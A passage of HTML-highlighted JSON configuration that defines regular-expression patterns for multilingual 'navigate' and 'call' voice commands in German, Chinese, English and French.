&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^zu\\b(.*)\\bfahren$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;wo ist&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^wo ist\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigiere nach&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^navigiere nach\\b(.*)\\b$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigiere zu&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^navigiere zu\\b(.*)\\b$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;导航到&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^导航到(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;在哪&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)在哪$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;开车到&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^开车到(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;导航去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^导航去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;導航去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^導航去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;導航到&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^導航到(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;帶我去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^帶我去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;帶我到&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^帶我到(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;去&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^去(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;到&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^到(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^call\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dial&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^dial\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;phone&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^phone\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;appeler&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^appeler\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;composer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^composer\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;wählen&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\bwählen$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;anrufen&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^(.*)\\banrufen$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;wähle&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^wählen\\b(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ruf an&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^ruf\\b(.*)\\ban$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rufe an&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^rufe\\b(.*)\\ban$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;打电话给&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;command_regexp&amp;#34;&lt;/span&gt; : &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;^打电话给(.*)$&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
